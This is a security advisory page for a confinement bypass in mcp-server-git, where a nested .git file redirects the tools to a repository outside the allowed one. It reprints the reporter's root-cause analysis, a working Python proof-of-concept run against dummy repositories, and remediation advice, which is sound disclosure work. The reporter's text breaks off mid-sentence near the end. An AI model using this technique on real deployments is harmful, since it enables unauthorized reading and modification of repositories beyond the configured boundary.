---
id: "GHSA-w766-5x43-whvw"
page: "https://infrastack.ai/live/GHSA-w766-5x43-whvw"
kind: "vulnerability"
aliases: ["GHSA-w766-5x43-whvw"]
title: "mcp-server-git: nested gitdir file bypasses --repository confinement"
severity: "medium"
cvss: 5.3
epss: null
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "mcp-server-git", "fixed": ["2026.10.28"], "affected": "< 2026.10.28", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ai-tooling", "cwe-22", "git", "mcp", "mcp-server-git", "python", "self-hosted"]
not_affected_if: ["no-repository-flag", "no-write-access-to-allowed-dir", "version-2026.10.28-or-later"]
published_at: "2026-10-28T21:13:40+00:00"
first_seen_at: "2026-11-09T22:53:24+00:00"
updated_at: "2026-11-09T22:56:39+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-w766-5x43-whvw", "first_seen_at": "2026-11-09T22:53:24+00:00"}]
exploit_sources: []
---

# mcp-server-git: nested gitdir file bypasses --repository confinement

Link for people: https://infrastack.ai/live/GHSA-w766-5x43-whvw (this .md is for agents)

When mcp-server-git runs with --repository confinement, a nested directory containing a .git file pointing elsewhere passes the path check and Git follows it, so tools operate on an outside repository. An attacker can read committed files from that outside repository and create branches in it, with the server's OS privileges.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:mcp-server-git affected < 2026.10.28 fixed 2026.10.28

## How to check

- Run `pip show mcp-server-git` and compare the version to `2026.10.28`.
- Check whether the server is started with `--repository` and whether any caller can write files inside that allowed directory (for example through a filesystem MCP server).

## Fix

- `mcp-server-git` `2026.10.28` (fixed version per the product data; the advisory's suggested remediation is not stated as the shipped fix).

## Timeline

- 2026-11-09T22:53:24+00:00 ghsa-repo https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-w766-5x43-whvw

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-w766-5x43-whvw

## From the sources

# `mcp-server-git`: nested gitdir file bypasses `--repository` confinement

**Report date:** 2026-10-27  
**Reporter:** ShieldPi  
**Affected package:** `mcp-server-git`  
**Confirmed package version:** 2026.10.19  
**Tested source commit:** `82acf2aabf47bd462606a0d879e4849c26b2afae` (`v2/main`)  
**Also affected:** `ef9808f71090d0db3eda99e2af2ba78f1086f4fb` (`main`); the complete `src/git/src/mcp_server_git/server.py` file has the same SHA-256 at both commits (`1756064c0bd498f0fa5065891b16f4203a54b210eec813f5d1948ac78780316a`). Other versions were not assessed.

## Summary

When `mcp-server-git` is started with `--repository <allowed>`, a caller can supply a nested directory inside `<allowed>` containing a `.git` **file** such as:

```
gitdir: /path/to/outside-repository/.git
```

`validate_repo_path()` accepts the nested directory because its filesystem path is inside the allowed repository. `open_repo()` then passes it to `git.Repo()`, which follows the gitdir indirection. Subsequent tool calls operate on the outside repository without revalidating the resolved repository.

Through the real in-process MCP interface, I confirmed that:

1. `git_show` with the outside repository path directly is rejected.
2. `git_show` with the nested gitdir path returns committed content from the outside repository.
3. `git_create_branch` with the nested gitdir path creates a branch in the outside repository.

This bypasses the server's claimed repository boundary and permits unauthorized read and modification with the MCP process's privileges.

## Attack preconditions

This is not claimed to be an unauthenticated standalone remote exploit. An attacker must be able to:

- invoke tools on a confined `mcp-server-git` instance;
- create a nested directory and a `.git` file inside the allowed repository, or cause such content to be placed there; and
- identify or guess the path of a repository outside the allowed root that the MCP process can access.

One realistic setup is a deployment that also gives a filesystem MCP server write access to the same allowed directory. At the tested commit, the filesystem server's `write_file` path permits creation of a `.git` file within its allowed directories; it has no special `.git` exclusion. The finding does not depend on that companion server—any mechanism that supplies the nested gitdir file meets the precondition.

## Root cause

In `src/git/src/mcp_server_git/server.py` at the tested commit:

- Lines 351–369, `validate_repo_path()`, canonicalize only the caller-supplied `repo_path` and check that it is inside `allowed_repository`.
- Lines 524–527, `open_repo()`, call `validate_repo_path(path, repository)` and then `return git.Repo(path)`.

`Path.resolve()` handles filesystem symlinks but does not interpret Git's `.git` file redirection. GitPython resolves that redirection later. There is no check after opening the repository to ensure that the repository actually selected by Git is the allowed one.

Relevant code:

```python
def open_repo(repo_path: str) -> git.Repo:
    path = Path(repo_path)
    validate_repo_path(path, repository)
    return git.Repo(path)
```

## Minimal reproduction

Use only temporary dummy repositories. The reproduction below uses the repository's existing `connect` and `make_repo` test helpers and the real in-process MCP protocol. Save it as `src/git/repro_gitdir.py` in the tested source tree, then run `PYTHONPATH=tests uv run --frozen python repro_gitdir.py` from `src/git`. On Windows, set `PYTHONPATH` to `tests` for the process using the shell's standard environment-variable syntax.

```python
from pathlib import Path
import shutil
import tempfile

import anyio
import git
from conftest import connect, make_repo
from mcp_server_git.server import validate_repo_path

ROOT = Path(__file__).resolve().parent
BRANCH = "gitdir-confinement-bypass-proof"

async def main():
    lab = Path(tempfile.mkdtemp(prefix="gitdir-repro-"))
    allowed = outside = None
    try:
        allowed = make_repo(lab / "allowed")
        outside = make_repo(lab / "outside")
        (lab / "outside" / "proof.txt").write_text("DUMMY-OUTSIDE-CONTENT\n")
        outside.index.add(["proof.txt"])
        outside.index.commit("dummy outside commit")

        nested = lab / "allowed" / "nested"
        nested.mkdir()
        (nested / ".git").write_text(f"gitdir: {outside.git_dir}\n")

        # The supplied nested path passes the confinement check.
        validate_repo_path(nested, lab / "allowed")
        redirected = git.Repo(nested)
        assert Path(redirected.git_dir).resolve() == Path(outside.git_dir).resolve()

        async with connect(lab / "allowed") as session:
            # Negative control: the direct outside path is rejected.
            direct = await session.call_tool("git_show", {
                "repo_path": str(lab / "outside"),
                "revision": "HEAD:proof.txt",
            })
            assert direct.is_error is True
            assert "outside the allowed repository" in direct.content[0].text

            # Bypass: read an outside committed file through the nested path.
            bypass = await session.call_tool("git_show", {
                "repo_path": str(nested),
                "revision": "HEAD:proof.txt",
            })
            assert bypass.is_error is not True
            assert "DUMMY-OUTSIDE-CONTENT" in bypass.content[0].text

            # Integrity impact: create a ref in the outside repository.
            write = await session.call_tool("git_create_branch", {
                "repo_path": str(nested),
                "branch_name": BRANCH,
            })
            assert write.is_error is not True

        assert any(head.name == BRANCH for head in outside.heads)
        print("CONFIRMED: direct path rejected; outside read and branch write succeeded")
        redirected.close()
    finally:
        if allowed is not None:
            allowed.close()
        if outside is not None:
            outside.close()
        shutil.rmtree(lab)

anyio.run(main)
```

### Observed result

```json
{
  "package": "mcp-server-git",
  "version": "2026.10.19",
  "source_commit": "82acf2aabf47bd462606a0d879e4849c26b2afae",
  "direct_outside_path_rejected": true,
  "nested_gitdir_path_accepted": true,
  "outside_commit_content_read": true,
  "outside_repository_modified": true
}
```

All test repositories and data were temporary local dummies and were deleted afterward. No third-party service or real repository was accessed.

## Impact

A caller who meets the preconditions can cross the configured `--repository` boundary. Confirmed impacts are disclosure of committed files and modification of refs in another repository. Other exposed Git tools may perform additional reads or writes on that outside repository with the server's OS privileges. The demonstrated branch creation is an integrity violation; this report does not claim arbitrary host-file write or code execution.

## Suggested remediation

In confined mode, do not allow Git repository discovery to escape the explicitly allowed repository:

- Prefer rejecting `.git` file indirection by default when `--repository` is configured, unless there is a documented safe policy for it.
- After opening, validate the resolved repository identity and relevant paths before every operation. Do not rely solely on validating the original `repo_path` string.
- Account explicitly for legitimate linked worktrees and separate git directories. A blanket requirement that every `repo.git_dir` be physically beneath the allowed worktree could break valid worktree layouts, so the policy should bind an allowed repository/worktree relationship rather than perform only a naive `git_dir` prefix check.
- Add regression coverage for absolute and relative gitdir redirection, nested `.git` files, and legitimate linked worktrees. Include both read and write tool tests plus a direct-path negative control.

## Coordinated disclosure and CVE request

Please keep this report p

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
